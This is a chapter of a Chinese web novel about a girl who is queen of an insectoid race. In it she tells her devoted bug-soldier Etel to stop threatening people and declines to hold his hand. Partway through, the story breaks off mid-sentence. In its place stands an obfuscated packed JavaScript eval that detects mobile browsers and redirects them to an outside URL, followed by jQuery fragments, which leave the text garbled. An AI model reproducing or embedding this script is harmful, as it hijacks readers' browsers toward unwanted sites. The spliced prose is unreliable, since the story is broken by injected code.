没有人看到,那道刀光是从何处产生的。
埃特尔站在教室中,手无寸铁,目光森寒。他冷漠地、俯视地盯着卡尔,眼中没有一丝温度,只翻涌着冰冷的杀机,仿佛他已经是一个死亡的生命,只是等待走向注定的终局而已。
卡尔颤抖着后退,脸色更加苍白,没有一丝血色,连呼吸都停住了。
他看起来害怕极了,瑟瑟发抖。
艾薇说:“算了,我们走吧。”
埃特尔冷声道:“他冒犯了您,应当付出生命的代价。”
这位清冷漂亮的人类,拟态伪装的巨虫,此刻面无表情,气质阴戾,周身没有半分人类的温度,宛如行走的冷兵器,锋利森冷,煞气四溢。
这种压迫感,即便不是正面对着艾薇,也让她感觉到压抑。
她再次认识到,虫族是多么可怕的种族,掠夺生命对他们而言,平平无奇,理所当然。
她只能说:“走吧,他没有伤害我。”
艾薇虽然也感觉奇怪,心中浮起预警,但没有任何证据,证明卡尔对她心怀恶意。
在人类的文明准则里,没有因为怀疑,就置人于死地的道理。即便是证据确凿的杀人犯,也有抗辩和申诉的余地。
这里是平静安宁的校园,不该见血。
艾薇收好文具,率先向外走去,对埃特尔说:“来。”
埃特尔犹豫片刻,既希望教训这个冒犯女王的狂徒,以鲜血死亡让其付出代价,又无法抗拒女王轻柔的呼唤。半秒之后,他顺从内心的本能,如同牵线的木偶一般,追随女王而去。
离开之前,他再次瞥了卡尔一眼。
那是怎样的目光啊,警告、恶意、狰狞、死寂、诡谲,比起在艾薇面前时,更加凶恶数百倍,如同幽邃黑暗的地狱深渊,带着死亡的狞笑,吞噬一切的生命。
卡尔后退一步,腿脚发软,猝然跌坐在地。
埃特尔冷冷地收回目光,跟随艾薇离开了。
只剩卡尔留在原地,心脏剧烈跳动,血流沸腾奔涌,在极致的恐惧下,几乎要将血管涨破。午后的骄阳无法带来丝毫温暖,只有如坠冰窟的骇人冷意。然而即便在如此恐惧的情况下,他的眼瞳依旧是幽深的、黑暗的,没有半分情绪。
仿佛是被深浓的阴影淹没了,无法挣脱。
艾薇离开维德学院,选择一个僻静的角落,坐在绿树荫浓的长椅上,长长地舒了一口气。
麻雀从枝头飞过,留下清脆的啾啾鸟鸣。细碎的阳光透过绿叶的缝隙,轻盈地筛下来,光斑落在艾薇身上,衬着她乌黑的长发、雪白的衬衫与修身的黑裤,显得宁静而安闲。
“终于结束了。”她轻快地说,如释重负。
一周之内准备考试,即便她平时成绩优秀,也感到些许压力。
埃特尔站在艾薇身后,身姿笔直,修长挺拔。阳光之中,他的影子落在艾薇身旁,与她的影子亲密交叠在一起。埃特尔看着两人交缠的身影,清浅的银色眼瞳里透出痴迷的满足。
艾薇回头看了看他,发现他长得好高,她要很努力地仰头,才能看清他清俊的眉眼。
她拍了拍身边的座椅,说:“你也坐下吧,一直站着,累不累?”
埃特尔摇头,“这样的运动强度,对虫族而言微不足道,完全不累。”
话虽这样说,他还是坐了下来,在距离艾薇很近的地方。两人肩并着肩,手指只要轻轻挪动,就能碰到对方的指尖。
女王柔软温暖的皮肤,带着汗液的掌心,馨香美味的气息……
埃特尔的心脏怦怦跳动起来,因为生理反应,脸颊染上薄薄的红晕。
他的指尖轻轻动了一下,微不可察地离艾薇更近了一些。只需再挪动几次,就可以不经意地,碰到艾薇的手指。
但是这时,艾薇转过脸来,对他说:“有一件事情,我想了想,还是想和你们说一下。”
“什么?”埃特尔心猿意马,指尖再次挪动。
艾薇斟酌着,慢慢说:“我想,既然你们愿意定居太阳系,跟随我来到地球,并且无意引起纷争。那应该也是愿意,以伪装的拟态融入人类社会,不引起过分的关注,对吗?”
埃特尔回答:“当然,虫群听从您的命令。”
“那么,既然有这样的前提在,”艾薇认真道,“你们就需要尽量的,贴近人类的行事作风,在安全没有受到威胁的情况下,不做出过分的、奇异的举动,尊重人类社会的运行规则。”
“而人类不会动不动就喊打喊杀。相比于危险的、竞争的宇宙,地球的环境更加和平。除非爆发战争的特殊时期,否则没有人会轻易以生命威胁,逼迫他人行动。”艾薇轻声说。
埃特尔的指尖顿住了。
“您认为,我不应该教训那个人类?”他问道,看着艾薇。
但意外地,艾薇摇了摇头。
“我是说,你不应该对监考老师发出威胁,她没有做出任何预兆性的、攻击性的行为,只是按照规则提醒而已。至于那个男同学……”艾薇想了想,“我确实有感觉到危险和不对劲,谢谢你那个时候进来,保护我。”
埃特尔愣住,呆了片刻,眼中爆发出巨大的惊喜。
“女王,女王……”埃特尔痴迷地、缠绵地叫她,几乎想跪在地上,用脸颊去蹭艾薇的掌心。
女王肯定了他的保护,甚至对他表示感谢!
这种被肯定的、赞赏的荣誉感,在埃特尔心中激起巨大的满足,令他心迷神醉,沉溺其中,无法自拔。
以至于后面艾薇的言语,都显得微不足道,悦耳动听起来。
艾薇说:“但即使这样,人类一般也不会要说杀死谁。如果他真的有危险的举动,我们可以制服他,让他失去行动能力,然后交由执法机关处理,进行审判或处罚。人类拥有完整的社会制度,不需要个体动用私刑,私下处决生命。”
她摸了摸鼻尖,笑着说:“虽然我是你们的女王,但在人类社会中,我只是一个普通人。我理解你们想要保护我的心情,但不是极特殊的情况,我们还是按照人类的规则来行事,好吗?”
埃特尔当然答应,没有任何辩驳与抗拒。
他的心神被艾薇轻柔的、低婉的声音,完全
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522547|202354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地攫住了,说不出一个“不”字。
甚至他的头脑都变得迷蒙,素来冰冷的、战斗的,浴血拼杀至极限都不会动摇的理智,此刻如同飘渺的云絮,被轻而易举地搅得乱七八糟,随着女王的声音,变幻成她想要的模样。
这是埃特尔第一次,和女王如此贴近。
原来,载女王前往地球的虫族,都有这样的好运吗?
亲近女王的时机,讨好女王的机会……
埃特尔被本能驱使着,无法抗拒地靠近艾薇,理智褪去,心潮起伏,胆大包天地说出了此时此刻,内心深处最真实的想法,“女王陛下,请问我能不能……牵您的手?”
“什么?”艾薇微怔。
“牵您的手,”埃特尔重复道,目光清澈,神情却渴望,“用我的手指,拉住您的手指,指尖插入您的指缝,皮肤紧紧相贴,感受您的温度和柔软,皮肉下血管的搏动,深处的骨骼与心跳。可以吗?”
艾薇:“……不可以。”
她脸色微红,有些窘迫。
这个异种的虫族,伪装得那么清冷、高洁,仿佛不染尘埃的冰雪,却竟然这么……
“人类不会随便牵手,这太亲密了,不合适。”艾薇说。
“可是……”埃特尔睁大眼睛,近乎无辜地说道:“我看到很多人类,都互相牵着手,这很常见。”
艾薇说:“那是因为,他们是情侣或者闺蜜,是很亲近的关系。但我们不是。”
埃特尔微微抿唇,低声说:“我是您的仆从,您的奴隶,您的所有物。我的身体、灵魂与思想,完全属于您……我们也是很亲近的关系。”
艾薇的脸更红了,脸庞发烫,“你不要说这种奇怪的话,不是这样。我们是平等的、合作的关系。”
埃特尔呆滞片刻,震惊道:“我们不平等,我们怎么可能平等!”
他仿佛受到了极大的打击,急切道:“您是虫族的女王,是虫群的主人,是虫巢的支配者!我们是不平等的,您可以命令我,赏阅我,使用我。”
他似乎将“平等”视作否定和屈辱,竟然站了起来,向着艾薇跪下去。
“女王,女王……”他祈求道,“请不要排斥我们,疏离我们。使用我吧,随您的心意。”
幸好这里比较僻静,没有什么人来往。没人看到这位高大英俊、霜雪清冷的白发男人,正对着艾薇深深跪下,急切地仰望着她,苦苦陈情哀求。
艾薇立刻说:“你站起来!”
她深深吸气,压低声音,“人类也不会这样,动不动就跪下!”
埃特尔抿起薄唇,沉默片刻。他虽然站了起来,却低着头,再次说:“……我们不平等。”声音轻而小,显得很执拗。
“好吧,好吧。”艾薇不和他争论这个,虫族的文化就是这样,根深蒂固,难以扭转,不应该强迫他人接受自己的观念。于是,她绕过这一点,回到刚才的话题,“不论平不平等,我们都不可以牵手。”
埃特尔垂下长长的眼睫,遮住琉璃似的白银双瞳,怏怏道:“……好的,知道了。”
他垂头丧气。